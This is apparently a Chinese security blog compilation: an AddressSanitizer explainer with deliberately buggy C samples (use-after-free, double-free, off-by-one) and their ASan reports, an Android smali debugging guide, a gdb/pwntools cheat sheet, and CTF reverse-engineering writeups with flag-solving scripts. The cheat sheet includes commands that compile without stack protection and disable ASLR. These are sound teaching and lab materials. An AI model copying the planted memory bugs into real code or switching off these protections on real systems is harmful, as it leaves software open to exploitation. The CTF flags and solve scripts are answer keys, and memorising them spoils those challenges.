ASan原理及用途

ASan

Address Sanitizer(简称ASan)是一个用于C/C++的内存错误检测。开启之后,会在目标代码的关键位置,如:malloc(), free(),栈上buffer分配等处检查代码,一旦发生内存访问错误,如堆栈溢出、UAF、double free等等,它就会发出错误的报告。它可以检测到一以下的问题:

  • use after free
  • heap buffer overflow
  • stack buffer overflow
  • gloable buffer overflow
  • use after return
  • use after scope
  • initialization order bugs
  • memory leaks

由于有些内存访问错误并不一定会造成程序崩溃,如越界读,因此在没有开启ASan的情况下,许多内存漏洞是无法被AFL发现的。所以,编译目标二进制代码时,开启ASan,也是推荐的做法。对于使用afl-xxx编译来说,只需要设定环境变量AFL_USE_ASAN=1即可。

不过,由于开启ASan后fuzzing会消耗更多内存,所以这也是需要考虑的因素之一。对于32位程序,基本上800MB即可;但64位程序大概需要20TB!所以,如果要使用ASan,建议添加CFLAGS=-m32指定编译目标为32位;否则,很有可能因为64位消耗内存过多,程序崩溃。

如果使用了ASan,还需要注意为afl-fuzz通过选项-m 指定可使用的内存上限。一般对于启用了ASan的32位程序,-m 1024即可。

ASan原理

ASan的原理是利用额外的内存标记可用的内存。这部分额外的内存被称作shadow memory(影子区)。ASan将1/8的内存用作shadow memory。使用特殊的magic num填充shadow memory,在每一次load/store(load/store检查指令由编译器插入)内存的时候检测对应的shadow memory确定操作是否是valid。连续8bytes内存使用1 byte shadow memeory标记。如果8 bytes内存都可以访问,则shadow memeory的值为0;如果连续n(1<=n<=7)bytes可以访问,则shadow memory的值为n;如果8 bytes内存访问都是invalid,则shadow memory的值为负数。以UAF漏洞作为例子分析,观察shadow memory的变化。

程序开始申请了一个对,大小为0x14,内存的起始地址为:0xf6100be0

第一次___asan_report_store4,此时shadow memory的布局如下:

在0x3ec2017c这个地址上有3 bytes的shadow memory是可访问的。但是随着后面操作的检测,会发现shadow在不断的变化 。

第二次___asan_report_store_n

第三次___asan_report_store1

进行___asan_report_load8

然后调用free函数释放内存

1
2
3
4
5
6
7
8
9
10
11
12
13
0x80488e4 <main+393> call printf@plt <0x80485a0>
0x80488e9 <main+398> add esp, 0x10
0x80488ec <main+401> sub esp, 0xc
0x80488ef <main+404> push dword ptr [ebp - 0x20]
0x80488f2 <main+407> call free@plt <0x80485e0>
► 0x80488f7 <main+412> add esp, 0x10
0x80488fa <main+415> mov eax, dword ptr [ebp - 0x1c]
0x80488fd <main+418> mov edx, eax
0x80488ff <main+420> shr edx, 3
0x8048902 <main+423> add edx, 0x20000000
0x8048908 <main+429> movzx edx, byte ptr [edx]

此时shadow memory的布局改变了,原来的0400fdfd填充了,检测到shadow memory发生了异常

第二次调用___asan_report_load8是就会把shadow memory poison的信息report,如果此时在使用这块free的空间就会报错

ASan算法

ASan的内存检测的原理之一是编译时插桩。在编译时会插入检测代码,检查每个内存访问的影子状态,ASan会在局部数组、局部变量、全局变量前后填充特定字段,然后在程序运行过程中,ASan会对这些特定字段进行检查,确定是否发生内存越界。为了检测对全局和堆栈对象的溢出访问,ASan会在这些对象的周围创建毒性的区域(redzones)。

对于全局变量,在编译时创建redzones。并且在运用程序启动是将redzones的地址传递到运行时库。运行时库函数会标记并记录地址以进一步报告错误。

为了捕获堆栈缓冲区溢出,AddressSanitizer检测如下代码:
Original code:

1
2
3
4
5
void foo() {
char a[8];
...
return;
}

Instrumented code:

1
2
3
4
5
6
7
8
9
10
11
12
13
void foo() {
char redzone1[32]; // 32-byte aligned
char a[8]; // 32-byte aligned
char redzone2[24];
char redzone3[32]; // 32-byte aligned
int *shadow_base = MemToShadow(redzone1);
shadow_base[0] = 0xffffffff; // poison redzone1
shadow_base[1] = 0xffffff00; // poison redzone2, unpoison 'a'
shadow_base[2] = 0xffffffff; // poison redzone3
...
shadow_base[0] = shadow_base[1] = shadow_base[2] = 0; // unpoison all
return;
}

当检测8字节内存访问时,ASan计算相应影子字节的地址,加载该字节,并检查其是否为零:

1
2
3
Shadowaddr = (Mem>>3) + Offset;
if(*ShadowAddr!=0)
ReportAndCrash(Mem);

当检测1,2或4字节访问时,检测则稍微的复杂:如果阴影值为正(即,只有8字节中的前k个字节是可寻址的),我们需要比较k与这个字节的后3位。

1
2
3
4
Shadow = (Mem>>3) + Offset;
k = *ShadowAddr;
if(k!=0 &&((Mem&7) + AccessSize>k))
ReportAndCrash(Mem);

64位

Shadow = (Mem >> 3) + 0x7fff8000;

[0x10007fff8000, 0x7fffffffffff] | HighMem
[0x02008fff7000, 0x10007fff7fff] | HighShadow
[0x00008fff7000, 0x02008fff6fff] | ShadowGap
[0x00007fff8000, 0x00008fff6fff] | LowShadow
[0x000000000000, 0x00007fff7fff] | LowMem

32位

Shadow = (Mem >> 3) + 0x20000000;
[0x40000000, 0xffffffff] | HighMem
[0x28000000, 0x3fffffff] | HighShadow
[0x24000000, 0x27ffffff] | ShadowGap
[0x20000000, 0x23ffffff] | LowShadow
[0x00000000, 0x1fffffff] | LowMem

ASan的用途

  1. use after free

example1.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<stdio.h>
struct elem
{
char *e;
int a;
double b;
char c;
};
int main()
{
char *p = malloc(sizeof(char) * 10);
if (p == NULL) {
return 0;
}
struct elem *e = malloc(sizeof(struct elem));
if (e == NULL) {
free(p);
return 0;
}
e->a = 10;
e->b = 10.10;
e->c = p;
double *xx = &e->b;
printf("%f\n", *xx);
free(e);
printf("%f\n", *xx);
return 0;
}

编译:afl-gcc uaf.c -o uaf -m32 -fsanitize=address
直接运行,它会自动打印检测到的内存错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
10.100000
=================================================================
==102558==ERROR: AddressSanitizer: heap-use-after-free on address 0xf6100be8 at pc 0x08048936 bp 0xffffd078 sp 0xffffd068
READ of size 8 at 0xf6100be8 thread T0
#0 0x8048935 in main /home/ruirui/Desktop/uaf.c:31
#1 0xf78bc636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#2 0x80489ab (/home/ruirui/Desktop/uaf+0x80489ab)
0xf6100be8 is located 8 bytes inside of 20-byte region [0xf6100be0,0xf6100bf4)
freed by thread T0 here:
#0 0xf7af0a84 in free (/usr/lib32/libasan.so.2+0x96a84)
#1 0x804884b in main /home/ruirui/Desktop/uaf.c:30
#2 0xf78bc636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
previously allocated by thread T0 here:
#0 0xf7af0dee in malloc (/usr/lib32/libasan.so.2+0x96dee)
#1 0x8048820 in main /home/ruirui/Desktop/uaf.c:17
#2 0xf78bc636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-use-after-free /home/ruirui/Desktop/uaf.c:31 main
Shadow bytes around the buggy address:
0x3ec20120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ec20130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ec20140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ec20150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ec20160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ec20170: fa fa fa fa fa fa fa fa fa fa fa fa fd[fd]fd fa
0x3ec20180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ec20190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ec201a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ec201b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ec201c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==102558==ABORTING

根据打印的结果可以看到,程序提示uaf.c第31行有个heap-use-after-free的错误,而且在最后还有个summary,把出错的代码位置和相应的栈信息打了出来。

  1. double-free

example2.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include<stdio.h>
struct elem
{
char *e;
char *e2;
int a;
double b;
char c;
};
int main()
{
char *p = malloc(sizeof(char) * 10);
if (p == NULL) {
return 0;
}
struct elem *e = malloc(sizeof(struct elem));
struct elem *e2 = e;
if (e == NULL) {
free(e);
free(e2);
return 0;
}
e->a = 10;
e->b = 10.10;
e->c = p;
double *xx = &e->b;
printf("%f\n", *xx);
free(e);
free(e2);
printf("%f\n", *xx);
return 0;
}

在上面的代码上稍微改了下,使其存在double free漏洞。使用相同的命令编译程序,运行观察程序的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
10.100000
=================================================================
==102748==ERROR: AddressSanitizer: attempting double-free on 0xf6100be0 in thread T0:
#0 0xf7af0a84 in free (/usr/lib32/libasan.so.2+0x96a84)
#1 0x8048848 in main /home/ruirui/Desktop/double_free.c:34
#2 0xf78bc636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#3 0x80488fb (/home/ruirui/Desktop/double_free+0x80488fb)
0xf6100be0 is located 0 bytes inside of 24-byte region [0xf6100be0,0xf6100bf8)
freed by thread T0 here:
#0 0xf7af0a84 in free (/usr/lib32/libasan.so.2+0x96a84)
#1 0x8048840 in main /home/ruirui/Desktop/double_free.c:33
#2 0xf78bc636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
previously allocated by thread T0 here:
#0 0xf7af0dee in malloc (/usr/lib32/libasan.so.2+0x96dee)
#1 0x8048819 in main /home/ruirui/Desktop/double_free.c:18
#2 0xf78bc636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: double-free ??:0 free
==102748==ABORTING

在程序的第34行存在double-free漏洞

  1. off-by-one

example3.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
int my_gets(char *ptr ,int size)
{
int i;
for(i=0; i<=size; i++)
{
ptr[i] = getchar();
}
return i;
}
int main()
{
void *chunk1, *chunk2;
chunk1 = malloc(16);
chunk2 = malloc(16);
puts("get input:");
my_gets(chunk1,16);
return 0;
}

编译后运行会提示存在heap-buffer-overflow漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
get input:
aaaaaaaaaaaaaaaaa
=================================================================
==21527==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5c00800 at pc 0x080486ef bp 0xff9d67d8 sp 0xff9d67c8
WRITE of size 1 at 0xf5c00800 thread T0
#0 0x80486ee in my_gets (/home/ruirui/Desktop/off-by-one+0x80486ee)
#1 0x8048758 in main (/home/ruirui/Desktop/off-by-one+0x8048758)
#2 0xf701b636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#3 0x80485c0 (/home/ruirui/Desktop/off-by-one+0x80485c0)
0xf5c00800 is located 0 bytes to the right of 16-byte region [0xf5c007f0,0xf5c00800)
allocated by thread T0 here:
#0 0xf724fdee in malloc (/usr/lib32/libasan.so.2+0x96dee)
#1 0x8048725 in main (/home/ruirui/Desktop/off-by-one+0x8048725)
#2 0xf701b636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 my_gets
Shadow bytes around the buggy address:
0x3eb800b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eb800c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eb800d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eb800e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eb800f0: fa fa fa fa fa fa fa fa fa fa 00 00 fa fa 00 00
=>0x3eb80100:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eb80110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eb80120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eb80130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eb80140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eb80150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal:

Android动态调试Smali文件

动态调试分为Java层和Native层调试
Java层动态调试主要是调试smali文件
Native层主要是调试so文件
这篇文章主要介绍smali文件动态调试的方法

准备工作

  • Android studio
  • smalidea插件(识别smali语法)
    安装smaliidea方法:File–>Setings–>Plugins–>Install plugin fromdisk…. –>Restart
  • apktool.jar/AhakaApktool.jar(对apk进行反编译和回编译)
  • 夜神模拟器

搭建环境

  • 安装jdk环境
  • 安装SDK
    运行SDK Manager.exe这里只要安装默认的package就可以了,后期可以根据自己的需要安装其他的package,安装好之后把platform-tools和tools添加到path环境变量中
    打开cmd输入adb或是monitor进行测试,如果不报错说明安装成功了

调试

  • 修改AndroidMainifest.xml文件
    反编译apk文件
    java -jar ShakaApktool.jar/apktool.jar d -df apkfile -o filename
    然后在AndroidMainifest.xml中添加调试属性android:debuggable=”true”

回编译apk文件
java -jar ShakaApktool.jar/apktool.jar b filename -o apkfile1

ShakaApktool.jar/apktool.jar 这两个工具都可以对apk文件进行反编译和回编译
回编译后的apk需要进行签名,可以使用工具进行签名

  • AS中导入源码 AS/idea中导入源码 File–>open

  • 设置远程调试选项
    Run–>Debug Configurations–>Remote Java Application Host填写为localhost,端口为Debug开放的端口8700

  • 连接模拟器
    nox_adb.exe connect 127.0.0.1:62001

  • 安装apk
    adb install apkfile

安装失败,使用adb kill-server结束adb服务,然后在再重启就可以
adb devices 检测设备连接情况

  • 下断点

  • 启动apk文件调试
    adb shell am start -D -n packageName/ActivityName

在monitor在检测apk

启动调试后,在断点处断下来,模拟器中会有调试等待的指令

然后就可以开始调试了

回编译遇到错误解决办法

回编译apk文件,遇到报错提示:
No resource found that matches the given name ‘@android:style/Animation.OptionsPanel
No resource found that matches the given name ‘@android:style/Animation.LockScreen
在网上查了百度了一下这个错误,原因在于 styles.xml文件中,有如下代码,删除即可:

1
2
style name="Base.TextAppearance.AppCompat.Widget.Button.Borderless.Colored" parent="@android:style/Animation.OptionsPanel"
style name="Base.TextAppearance.AppCompat.Widget.Button.Colored" parent="@android:style/Animation.LockScreen"

这个文件可以根据提示的路径找到,一般是在res文件夹下
error: No resource identifier found for attribute ‘roundIcon’ in package ‘android’
删除AndroidManifest.xml里的 android:roundIcon=”@mipmap/ic_launcher_round”

pwntools调试命令集合

之前做分析pwn题时,命令经常记不住,今天有时间了总结下调试pwn时一直常用的命令。

0x1 编译

文章中用到的test都是文件名

1
2
gcc test.c -0 test
gcc -fno-stack-protector -z execstack -o test test.c

使用这条命令编译程序,-fno-stack-protector-z execstack这两个参数会分别关掉DEP和Stack Protestor。

0x2 gdb调试技巧

  1. n:执行一条源代码但不进入函数内部
  2. ni:执行一条汇编代码但不进入函数内部
  3. s:执行一条源代码且进入函数内部
  4. si:执行一条汇编代码且进入函数内部
  5. c:继续执行到下一个断点
  6. 下断点:b 函数名 或是 b *addr
  7. 查看寄存器的值:info register
  8. 查看内存:x/数字 wx 以十六进制,4字节显示指定内存
    x/数字 gx 以十六进制,4字节显示指定内存
    

0x3 调试命令

1
checksec //查看程序开启的保护机制

常见的保护措施有以下几种:

  1. CANARY:栈溢出检查,用Canary金丝雀值是否变化来检测,Canary found表示开启。金丝雀最早指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。这里是一种缓冲区溢出攻击缓解手段:启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary。

  2. FORTIFY:FORTIFY_SOURCE机制对格式化字符串有两个限制:(1)包含%n的格式化字符串不能位于程序内存中的可写地址 (2)当使用位置参数时,必须使用范围内的所有参数。

  3. NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过。

  4. PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址。

  5. RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表。

1
2
cat /proc/sys/kernel/randomize_va_space //查看地址随机化保护是否开启
ldd test

可以通过这两种方法来查看是否开启了地址随机化保护。控制ASLR有3中状态:
0:表示关闭ASLR

1: mmap base、stack、vdso page将随机化。这意味着.so文件将被加载到随机地址。链接时指定了-pie选项的可执行程序,其代码段加载地址将被随机化。配置内核时如果指定了CONFIG_COMPAT_BRK,randomize_va_space缺省为1。此时heap没有随机化。

2:在1的基础上增加了heap随机化。配置内核时如果禁用CONFIG_COMPAT_BRK,randomize_va_space缺省为2。

关闭ASLR,切换至Root用户,输入命令

1
echo 0 > /proc/sys/kernel/randomize_va_space

开启ASLR,切换至Root用户,输入命令

1
echo 2 > /proc/sys/kernel/randomize_va_space

0x4 端口映射

目标程序作为一个服务绑定到服务器的某个端口上,可以使用socat这个工具来完成,命令如下:

1
socat TCP4-LISTEN:5555,fork EXEC:./test

这个程序的IO就被重定向到5555这个端口上,并且可以使用nc 127.0.0.1 5555来访问目标程序服务。

0x5 文件分析

查看程序是多少位,可以使用file这条命令

1
2
@ubuntu:~/Desktop$ file test
test: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=76b50d733400542b34d5e8fa23f0f12dc951d4ef, stripped

查看系统调用

1
strace ./test

查看操作系统libc的版本

1
dpkg -l | grep libc

查看pid,但是需要注意的是,先让程序运行再执行命令,否则pid一直在变化

1
ps -aef | grep file

查看程序在栈上的权限

1
cat /proc/[pid]/maps | grep stack

获取plt函数和函数对应的got表

1
2
objdump -d -j .plt test //plt表
objdump -R test //got表

.bss段是用来保存全局变量的值,地址固定,并且可以读可写,可以通过如下的命令获取.bss段的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
$ readelf -S test
....
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000018 04 WA 0 0 4
[25] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 1
[27] .comment PROGBITS 00000000 001020 000034 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 001054 0000fa 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)
....

强网杯 writeup

0x1 simplecheck

反编译apk后查看java的源码

1
2
3
4
5
6
7
8
9
public void onClick(View paramAnonymousView)
{
if (a.a(paramBundle.getText().toString()))
{
Toast.makeText(jdField_this, "You get it~", 1).show();
return;
}
Toast.makeText(jdField_this, "Sorry its wrong", 1).show();
}

a函数检查输入的flag值是否正确,如果正确就输出”You get it~”,否则输出”Sorry its wrong”
分析a函数的操作流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class a
{
private static int[] a = { 0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312 };
private static int[] b = { 13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108 };
private static int[] c = { 38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666 };
private static int[] d = { 0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562 };
public static boolean a(String paramString)
{
if (paramString.length() != b.length) {
return false;
}
int[] arrayOfInt = new int[a.length];
arrayOfInt[0] = 0;
paramString = paramString.getBytes();
int k = paramString.length;
int i = 0;
int j = 1;
while (i < k)
{
arrayOfInt[j] = paramString[i];
j += 1;
i += 1;
}
i = 0;
for (;;)
{
if (i >= c.length) {
break label166;
}
if ((a[i] != b[i] * arrayOfInt[i] * arrayOfInt[i] + c[i] * arrayOfInt[i] + d[i]) || (a[(i + 1)] != b[i] * arrayOfInt[(i + 1)] * arrayOfInt[(i + 1)] + c[i] * arrayOfInt[(i + 1)] + d[i])) {
break;
}
i += 1;
}
label166:
return true;
}
}

  1. paramString.length() == b.length 也就是34
  2. 创建一个新数组arrayOfInt,把flag的值赋给arrayOfInt[]
  3. 满足条件:a[i] != b[i] arrayOfInt[i] arrayOfInt[i] + c[i] arrayOfInt[i] + d[i]) || (a[(i + 1)] != b[i] arrayOfInt[(i + 1)] arrayOfInt[(i + 1)] + c[i] arrayOfInt[(i + 1)] + d[i])
  4. 数组a,b第一位是0,经过运算后还是0,第一位是没有用的,后面34位才是flag的值
    分析完程序流程,可以尝试用爆破得到flag的值:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    a = [0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203,
    576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324,
    382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123,
    829768461, 534844356, 427514172, 864054312]
    b = [13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995,
    53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752,
    37108]
    c = [38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340,
    37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406,
    64666]
    d = [0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502,
    -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158,
    -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001,
    276531381, 169983906, 276158562]
    flag = ""
    for i in range(1, 34):
    for j in range(32, 127):
    if ((a[i] == b[i - 1] * j * j + c[i - 1] * j + d[i - 1]) and (a[i] == b[i] * j * j + c[i] * j + d[i])):
    flag += chr(j)
    break
    else:
    pass
    print (flag + "}")

西普杯2017年网络安全技能赛 writeup

0x1 题目1

描述:近期截获一个拦截发送垃圾短信的恶意软件,在用户手机安装后,会随机向外发送垃圾短信。分析该恶意软件,分析其发送短信的实现点,并还原出要发送的垃圾短信内容。
安装到模拟器里,只有一个按钮,但是点击没有任何反应,对apk进行了反汇编,查看java源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.tencent.crasms;
import android.app.Activity;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.Toast;
public class MainActivity
extends Activity
{
Button a;
static
{
System.loadLibrary("msyk");
}
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130968602);
this.a = ((Button)findViewById(2131427420));
this.a.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
try
{
paramAnonymousView = SmsManager.getDefault();
MainActivity.this.rx3sdfx(paramAnonymousView);
Toast.makeText(MainActivity.this.getApplicationContext(), "ok", 0).show();
return;
}
catch (Exception paramAnonymousView)
{
for (;;) {}
}
}
});
}
public native void rx3sdfx(SmsManager paramSmsManager);
}

分析这段代码,发现它加载了一个msyk的库文件,发送短信功能的函数rx3sdfx并没有实现具体的功能,所以需要去分析这个库文件,看它到底进行了什么样的操作

这段代码就是对短信内容进行处理的方法,算法就是一个简单的异或,但是这里需要注意一点的是v135是由高位和低位组成的(这里比较坑),最后还原出短信的内容为:This Phone has been hacked, SN:8391215

0x2 题目2

描述:没有后缀,怎么打开,你知道这是什么文件吗??
用十六进制编辑器查看,可以看到文件里面的内容是逆序存放的,将文件内容逆过来就能看到flag

脚本如下:

1
2
3
with open('reverseMe','rb') as f:
with open('flag','wb') as file:
file.write(f.read()[::-1])

运行的结果为:

0x3 题目3

描述:haha.exe目前无法直接运行,找到启动haha.exe的方法并提交需要的内容。
直接运行是不能运行的,需要加参数运行,参数就是正确的key值,如果参数错误则会提示Invalid Key,载入IDA分析,搜索关键字定位到关键代码处

while就是来判断输入的key是否正确,前面需要注意的是,对输入的参数就行了md5加密,然后加密的结果赋值给v86,v86和v16这个数组进行比较

v16这个数组的地址并不是连续的,所以需要把缺少的数值加进去,最后得到v16的数组是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v16 = 0x5D;
v17 = 0x41;
v18 = 0x40;
v19 = 0x2A;
v20 = 0xBCu;
v21 = 0x4B;
v22 = 0x2A;
v23 = 0x76;
v24 = 0xB9u;
v25 = 0x71;
v26 = 0x9Du;
v27 = 0x91u;
v28 = 0x10;
v29 = 0x17;
v30 = 0xC5u;
v31 = 0x92u;

得到的md5值为:5d41402abc4b2a76b9719d911017c592,解密后的key值为:hello
运行结果:

0x4 题目4

描述:算法很简单,好像无法静态调试啊!啊!
提示不能静态分析,只能用OD跟踪,我搜索字符串的时候看到“Congratulations”这样的字符串,以为算法在这里,调试了好几遍都没有输入的信息,然后在入口处下断点返回到它被调用的那个函数里,发现这个函数里有输入,还要计算的过程,然后在这下断点分析算法:

看懂算法之后就可以开始写脚本了:

1
2
3
4
5
6
7
a = [0xB9 ,0x3A,0xA9,0xD8,0x15, 0x8A, 0xE7 ,0x42,0x69, 0x90, 0xCA, 0xA3, 0x4D, 0xD8, 0xD9, 0xC9 ]
flag = ""
for i in range(16):
for j in range(33,128):
if ((2*j-6)^j)-2*i==a[i]:
flag += chr(j)
print (flag)

运行结果:mBqL!zS6-hLm)XY_

0x5 题目5

描述:下断点,然后手工暴力破解
在0x400e53下个断点,然后输入一串字符串,一路调试,你会发现经过0x401210这个函数运算后对输入的结果进行了加密

一直往下调试,会将加密的字符串跟正确加密过的字符串进行比较

分析了下它的加密算法,参考了别人的wp,作者说是采用了静态的凯撒加密,但是不行的是每一位加密的字符key值都是不相同的,所以只能去手工爆破,猜测加密的key值,最后爆破出的flag:
CTF-BR{riot_in_public_square_vgzdLIEjd}

https://advancedpersistentjest.com/2016/03/28/writeup-sleeper_cell/

https://github.com/xil-se/xil.se/blob/master/content/post/pwn2win-2016-sleeper-cell-kbeckmann.md

Reverse练习 writeup

0x1 apk.apk

反编译之后看java源码,涉及到的关键函数有点多,但是耐心的分析下代码程序的逻辑并不难,通过uc这个函数可以知道程序对“XRL}D6hy4yfE7tuF6{”这个字符串做了加密处理,下面这段程序就它的处理方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class cc
{
public static String encrypt(String paramString)
{
String str = "";
int i = 0;
if (i >= paramString.length()) {
return str;
}
int j = paramString.charAt(i);
char c;
if ((j >= 97) && (j <= 109)) {
c = (char)(j + 13);
}
for (;;)
{
str = str + c;
i += 1;
break;
if ((j >= 65) && (j <= 77)) {
c = (char)(j + 13);
} else if ((j >= 110) && (j <= 122)) {
c = (char)(j - 13);
} else if ((j >= 78) && (j <= 90)) {
c = (char)(j - 13);
